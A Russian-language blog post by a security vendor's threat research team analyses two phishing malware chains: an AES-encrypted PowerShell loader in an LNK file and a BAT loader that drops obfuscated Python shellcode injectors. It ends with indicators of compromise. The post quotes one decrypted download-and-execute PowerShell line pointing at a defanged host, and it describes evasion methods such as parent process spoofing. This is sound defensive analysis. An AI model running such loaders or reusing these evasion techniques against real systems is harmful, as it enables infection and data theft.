Привет, Хабр! На связи команда UserGate uFactor и я — ее участник Степан Панфилов.

Мы запускаем целую серию материалов, посвященных исследованию кибератак.

Да, мы не только разрабатываем NGFW, но и, как положено серьезной ИБ-компании, анализируем актуальные угрозы. Сегодня мы рассмотрим два сценария загрузки основных вредоносных модулей на компьютерную систему атакуемого. Первый сценарий — атака при помощи LNK-файлов, в которых применяются криптографические методы, второй — атака через BAT-файлы.

Основным вектором атаки в обоих сценариях выступает фишинговая рассылка. Файлы, приложенные к фишинговым электронным письмам, обычно упакованы в ZIP-архив. Иногда архивы защищают паролем для обхода СЗИ, сам пароль указывается в тексте сообщения.

Сценарий 1: криптография в LNK-файле

В качестве промежуточного звена для загрузки основного вредоносного модуля могут быть применены файлы MS-SHLLINK. Для выполнения сценария в LNK-файлах используются командные интерпретаторы CMD или PowerShell, но также есть и другие методы. К сценарию зачастую применяются методы сокрытия вредоносных команд, такие как кодирование, обфускация или шифрование, что затрудняет детектирование угрозы средствами защиты информации.

Рассмотрим на примере вредоносного LNK-файла один из способов сокрытия ключевой информации с помощью шифрования.

Для просмотра содержимого LNK-файлов можно воспользоваться hex-редактором, утилитами xxd или cat в UNIX-подобных системах. Стоит обратить внимание, что некоторые hex-редакторы могут отображать не сам LNK-файл, а содержимое файла, на который ссылается ярлык, — будьте внимательны.

Рисунок 1. Фрагмент LNK-файла, содержащий вредоносный сценарий
Рисунок 1. Фрагмент LNK-файла, содержащий вредоносный сценарий
Рисунок 2. Просмотр LNK-файла при помощи утилиты cat
Рисунок 2. Просмотр LNK-файла при помощи утилиты cat

Скопируем сценарий и приведем его в более удобный для чтения вид.

Рисунок 3. Сценарий, извлеченный из вредоносного LNK-файла
Рисунок 3. Сценарий, извлеченный из вредоносного LNK-файла

На рисунке 3 видно, что сценарию передаются два строковых аргумента «a» и «b», закодированных в base64. Аргумент «a» является зашифрованным сценарием, а «b» — ключом для дешифровки. Также создается объект System.Security.Cryptography.AesManaged, который предоставляет управляемую реализацию алгоритма симметричного шифрования AES. Аргументы «a» и «b» передаются в переменные «$a» и «$b» соответственно.

Для дешифрования воспользуемся PowerShell. Немного преобразуем команды и исключим команду Invoke-Expression $h для того, чтобы основной сценарий не исполнился.

Рисунок 4. Расшифровка строки аргумента «a»
Рисунок 4. Расшифровка строки аргумента «a»

На рисунке 4 представлен расшифрованный вредоносный сценарий: $script = Invoke-WebRequest -Uri 'https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt' -UseBasicParsing; Invoke-Expression $script.Content считывает содержимое файла 904e5c82a258472395094ca10082fdfb.txt на удаленном ресурсе и выполняет файл.

Получить дополнительную вредоносную нагрузку для дальнейшего анализа можно при помощи PowerShell, предварительно заменив команду Invoke-Expression $script.Content на echo $script.Content, или, например, использовав утилиту curl или скачав через браузер. Но, к сожалению, на момент исследования вредоносная нагрузка была недоступна.

Дополнительно стоит отметить, что переменная $KEYIV (см. рис. 3), скорее всего, является ключом для расшифровки сценария в файле 904e5c82a258472395094ca10082fdfb.txt.

Сценарий 2: BAT-файл и обфускация Kramer в Python Malware

Теперь рассмотрим интересный сценарий доставки и исполнения основных вредоносных модулей.

Загрузчиком основных вредоносных модулей выступает командный BAT-файл. Злоумышленники не применяют к сценарию в BAT-файле сложную обфускацию, а только меняют кодировку текста. При просмотре содержимого BAT-файла с помощью стандартных средств, например Notepad, увидим следующую картину.

Рисунок 5. Содержимое вредоносного BAT-файла
Рисунок 5. Содержимое вредоносного BAT-файла

Для того чтобы получить читаемые данные, воспользуемся ресурсом CyberChef и плагином Text_Encoding_Brute_Force.

Рисунок 6. Преобразование в правильную кодировку UTF-16LE (1200) при помощи CyberChef
Рисунок 6. Преобразование в правильную кодировку UTF-16LE (1200) при помощи CyberChef

Скопируем полученную информацию в текстовый редактор и приведем код в читаемый вид.

Рисунок 7. Командный сценарий вредоносного BAT-файла (начало)
Рисунок 7. Командный сценарий вредоносного BAT-файла (начало)
Рисунок 8. Командный сценарий вредоносного BAT-файла (окончание)
Рисунок 8. Командный сценарий вредоносного BAT-файла (окончание)

Как видим, сценарий прост:

1. Попытка открыть любой PDF-документ в директории %USERPROFILE%\Downloads — вероятно, используется для отвлекающего маневра. Поскольку нам неизвестен сам вектор атаки, можно предположить, что существуют техники, предшествующие запуску BAT-файла, которые доставляют PDF-документ.

2. Поиск процессов антивирусных программ.

3. Загрузка дополнительных файлов из интернета.

4. Разархивация и перемещение.

5. Запуск Python-скриптов.

6. Загрузка дополнительных модулей.

7. Размещение дополнительных модулей в автозапуске.

8. Загрузка дополнительных файлов из интернета и их разархивация.

Содержимое файла startuppp.bat (см. рис. 8), добавленного в автозапуск, также закодировано. После преобразования получаем:

Рисунок 9. Команды в файле startuppp.bat
Рисунок 9. Команды в файле startuppp.bat

Из команд в файле startuppp.bat понятно, что он отвечает за запуск последних скачанных и разархивированных скриптов Python. На момент исследования все файлы доступны и их можно скачать, например, при помощи браузера.

Посмотрим для примера содержимое одного из архивов, представленных на рисунке 10.

Рисунок 10. Содержимое архива FTSP.zip
Рисунок 10. Содержимое архива FTSP.zip

Следует обратить внимание на следующие файлы: fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py. При открытии любого из них для чтения становится понятно, что это скомпилированные файлы Python.

Рисунок 11. Фрагмент содержимого файла yam1.py
Рисунок 11. Фрагмент содержимого файла yam1.py

Воспользуемся ресурсом для декомпиляции PyLingual. Для примера возьмем файл yam1.py, предварительно изменив расширение на .pyc.

Рисунок 12. Результат декомпиляции файла yam1.pyc
Рисунок 12. Результат декомпиляции файла yam1.pyc

Если внимательно посмотреть на код на рисунке 12, то можно увидеть class Kramer. После анализа кода становится ясно, что к файлу была применена обфускация при помощи приложения Kramer. Воспользуемся деобфускатором kramer-specter_deobf. После деобфускации получаем код.

Рисунок 13. Фрагмент кода после деобфускации
Рисунок 13. Фрагмент кода после деобфускации

При чтении кода становится понятно, что вредоносный скрипт расшифровывает шеллкод, записывает его в выделенную память и исполняет. Алгоритм для всех файлов (fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py) одинаков. Сам расшифрованный шеллкод можно получить применив способ, представленный на рисунке 14, а дальше — попробовать изучить его в дизассемблере или отладчике.

Рисунок 14. Сохранение шеллкода в бинарном файле
Рисунок 14. Сохранение шеллкода в бинарном файле

При динамическом анализе алгоритм работы вредоносных файлов fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py становится более понятным. После запуска вредоносного файла, в зависимости от условий (см. рис. 9), каждый вредоносный модуль — их всего шесть — инициирует процесс notepad.exe и внедряет в него код. Таким образом, в дереве процессов появляется шесть экземпляров notepad.exe, каждый с разными идентификаторами.

Особенность заключается в том, что вредоносные файлы используют технику parent process spoofing, которая усложняет детектирование. В результате, если исследователь получит список исполняемых процессов в операционной системе, он увидит, что для всех экземпляров notepad.exe родительским процессом значится Explorer.exe.

Рисунок 15. Фрагмент кода из startuppp.bat с комментарием
Рисунок 15. Фрагмент кода из startuppp.bat с комментарием
Рисунок 16. Вывод в консоль информации после запуска вредоносного файла yam1.py
Рисунок 16. Вывод в консоль информации после запуска вредоносного файла yam1.py

Заключение

Проведенный нами анализ показывает, что даже простые кибератаки могут быть многообразны и эффективны. Мы разобрали два сценария: в одном использован LNK-файл, в другом — BAT-файл. В обоих случаях злоумышленники применяют техники сокрытия вредоносного кода для обхода автоматизированных средств защиты информации. Этого может быть достаточно для успешных атак в обоих сценариях. Детальный ручной анализ помогает выявить техники и процедуры, а также получить дополнительные индикаторы компрометации, что позволяет построить надежную защиту.

IoC (сценарий 1):

RunScriptProtected.lnk

7d7b89cb7fa6155b1e01334175ac1c5b

e777ad0ff4d4510ee345c06c34123b279b0b7ad6

7c8be71b3cfef2de7343bd48d20e33a6f2f94409d59c50f5ac3a5bbd703789fc

Payload

https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt

IoC (сценарий 2):

Comman&Control Server

12.187[.]175.72

Payload

http://dbasopma[.]one:6049/FTSP.zip

http://dbasopma[.]one:6049/cam.zip

http://dbasopma[.]one:6049/bab.zip

http://dbasopma[.]one:6049/PWS.vbs

http://dbasopma[.]one:6049/PWS1.vbs

http://dbasopma[.]one:6049/startuppp.bat

 

 

File

bab.zip

 

7be44884a763ee99b69a3388407cff98

ffb8a0d984e443250676957bfc16d02223e38ce7

ece1e5b6e77d8da8ecdaed554eb09670f0c1bbf80dadd783b6d904542f72ba0e

 

----------------------------------

 

 

cam.zip

 

a06c4773ca80b0b7d0fcc05e663cec3d

825ee18ad6645e7634fc2524af5ef1d394dfab00

f3661f62ec4a6d8a2077a4f882627c2e039a5270d5e73684881711c712710d23

 

----------------------------------

 

 

FTSP.zip

 

a7c55ff964188d62485692b6c2061a8a

80e8b62250ab32810e8da4fe602b29d303b3a247

12c1d0dc09a545bda4b219bb87fac6b5a222f7c02a414ee26e0ac92162892f92

 

----------------------------------

 

 

new.bat

 

b79e56969d36c4b969bbe1623142e74a

a7bcc5273b86e75dad66fed8fab1ec546ffa3bfd

6eb141225c4e4bfe3c347cac44b939ef697616b32e7d3646d6944210d99d0960

 

PWS.vbs

 

2862ffb5ea32ff114bebe41576441b02

d9e78d276186e5ca049724796494489e228ff431

0d7cee0c13374181a23e8f605b32f2969c9c490b83c7891318f26bd17777fd7c

 

----------------------------------

 

 

PWS1.vbs

 

06480f1e6aa48daab019e8f1a6b834c9

c735c2d22e2fe79a39111e76a9966d0720f023a1

5d932bfda0ffd31715700de2fd43fc89c0f1d89eeabac92081ebe2062da84152

 

 

bab.zip-\bab\Python\Python312

 

Music-an.py

 

c437b4a8b925c986d9cd660295e6e2e4

8bd2e47531a2676448b3e1dc793919edc898fb84

fa11c54afcffef94b6e0ee284b37d2c4376f0f7d3295f6fb6fa2d67fb607da2f

 

----------------------------------

 

 

Music-as.py

 

de51465cec3b469fa1f6cab087a47f71

e0b2eaefe9e4e023e7314dff213fa535e3fb3274

4c74b2d6f11f51c776c3d15c8cabc530653a57ed3dfd27b3804c81cc975311de

 

----------------------------------

 

 

Music-hv.py

 

edb374796f6fe20e3b62962811968142

3d236f99d1f558e6bfc960733e3f46f55199848b

5bb7b38fb90155537984893cb90375a39815669e728fd84d08accd8b67079198

 

----------------------------------

 

 

Music-uk.py

 

7e0327b8f7ca202d364b7cd6c66a86be

adacd10869352a8cf03e9836795b01f7a062377c

863b88cf2b1c425d01aaad64bcdf4317d704c4041482ea21cceffc26a7fde4ea

 

----------------------------------

 

 

Music-ve.py

 

f3574e48592f487fe7ad041c6f5bbab7

4586aff8e8f603adc3785dd5137844658120b16e

96bd07804ef395303c7ddb88066b607e13d35e339c87d8d1cb6f838e560caddc

 

----------------------------------

 

 

Music-xw3.py

 

dabb3e0db9cb70b1dcdb011295b41ef4

279ed2b31867519e834680df2a86e8aa894b61d2

162c6ad1d8e19372b4ea0dacffae8947e2b1477498cb12c3e5f3a0923f98e33f

 

----------------------------------

 

 

Music-xw5.py

 

6342a69ed8ea8af5424eb4749e571e97

dac3c1cac7de687cc427c899202f497c4078be8a

da82cbbc5da3b329a120540ea4543e31e354e125f7051c0dc35874b5b9a00c9c

 

----------------------------------

 

 

cam.zip-\cam\Python\Python312

 

 

Music-an.py

 

027b0fe02fcb8f3abf10941c8a7409aa

906afab8bdd31666889ff5941c72d79396f69f01

7023f20f5264c9d83b17d995a07f0cc255fa0861c5bf83101034a430c8ff85d6

 

----------------------------------

 

 

Music-as.py

 

34f4db87eb50604d1f2dc6862d0ce0d2

8f887607d01d99fce12eb47ce4cd7632b4a5931f

8ed0e51fac43d041360f5a7b8b59285f6c98a1f3954401d4c4b8f5a95eface0f

 

----------------------------------

 

 

Music-hv.py

 

add4dd9dfa71108b7bedadb6e97987e5

caaa211710b53c9cab8fcdb45772b05e39e3af13

f136acbb905459aa3292dd65c86361cb863c94d710ade951ac2208a88c36ec6a

 

----------------------------------

 

 

Music-uk.py

 

baed94b62771a3b551c0462f22561f80

ea0578a49f184ba9d1271619f9639f586dae591a

75cf8d1c43fad756cb9c6da084a71ee50bd3d4a46e870df14cdd2135d86681a5

 

----------------------------------

 

 

Music-ve.py

 

0a8656dd5ea10669617881d384ec531b

4003ccd4098d2f56255e2bec992cfe978cfc4b6d

7bb3936b975266dfac275080576000fc368ca7388dd1931f891cc80565c82daa

 

----------------------------------

 

 

Music-xw3.py

 

14fff2e3ec317ba6174c73d8ff432e89

226940eb6ae3e6069f7a93fe8d800437941d0c07

c1969a287c8425d306dab962572667b26ad2135376d3dc24fdf6dba52d6ee62b

 

----------------------------------

 

 

Music-xw5.py

 

a149927719c37087abd9782a281bd0c4

a8077647e030ec604d2576b36b6ddc3086ecf38b

511565889577b25381558039feaf37ec36d98806fbc5d643dc8a51ee5aab37e6

 

----------------------------------

 

 

 

FTSP.zip-\FTSP\Print\Python312

 

fv1.py

 

2937c54a89355dd0e1c5ee87145635ae

63605c2c5484ccfd359af5da9714508698e9efe3

c20a2d5c4bd09c1858ac88c8900609c9306e59e412d1d3b37be5c5971d9561f4

 

----------------------------------

 

 

fv2.py

 

2e4249736ffe4977ef0e667675dfa0b7

f530e1fd18a0f31eddf70c5491e3b03235416b30

382dbe6d39c39fd38e1ee247592deaab1d55a4525f062cb9372de08cb842330e

 

----------------------------------

 

 

fv3.py

 

566bbee17a5af649e465b7dfba1f2de0

d3939d3eed0341cf0b8eb256142487690300aaec

7184b9380355584e2c2279cd3bf50ba651b26848f390e723dc33f80ef865f9d2

 

----------------------------------

 

 

fv4.py

 

09ced038c86243c2fdcf7478e41e69db

d44e59b64d443b82e5123af9f7a46c6866503c31

8877e607552950a006062ee083437e733de5f502c0979b8de20962327d426395

 

----------------------------------

 

 

fv5.py

 

8113a620761a6da49ce678f56f48ce8e

671b7940be5f857e1f517bf784a672feba221de9

5645e16631e12be7eb36aeba6fe76cdff82b8be163a44a442188d90fb44cec34

 

----------------------------------

 

 

fv6.py

 

fe7d106dca7cfd92e8e375103703cfff

01450c1567a96dde91c50638c0fc42ca71f25777

2997b820a4834add998b16e373eb7c63a4b72eb508a09c57b0f04a2557438c94

 

----------------------------------

 

 

yam1.py

 

e9dc79e096ccd79ea1daf0203eeec102

cf8f946d49f5e3db3b7535d3c3e1b25a0de238e0

64ebc4b51139cc65b4140f8600b7d3e5f40c7d6b3fb754c29b6d5801c6605e2f

 

----------------------------------

 

 

yam2.py

 

d20a1dcef8d4e48bfaa90abd0d5516bd

7140f0c13191c10b93cd8cb15b667c40cccfb842

2fc47aceb8eeb0ac4d47d5b2002275d961a0a39fe77069500de2ab8c0ba03a44

 

----------------------------------

 

 

yam3.py

 

935814f39b1b39fe0fe9186e560321dd

b27ab2cafe49b438cdca41dbfe85306729ba0a32

8fbb326abcc859280a33343cbd3ffc3dcc5366123da25d99868e950100a21fec

 

----------------------------------

 

 

yam4.py

 

abe3d57fde219f4fb7e59c9a0c8a260f

992a557755273e7966198a32bfcaa03c4258a183

59d1768012f0449539cb7fec717d8ff39906009c288bf4db6a0bee19c13d8754

 

----------------------------------

 

 

yam5.py

 

2a87efce9af96a06278423d7d1e32685

09b5de02a26f602806a09f7f4fcd858c99acc588

64b72524187da048c17958c5915d746a6ea3d283b8d6c91d60353c12109968fe

 

----------------------------------

 

 

yam6.py

 

0628e001040172046528325e189b43e2

09c5482a10b9c35e94356e4333cd2342aa94c3f0

8ea818f50a520660e3a62fcbba9e3df82635bf1b2d9530c24fa6624187ba628c

Комментарии (0)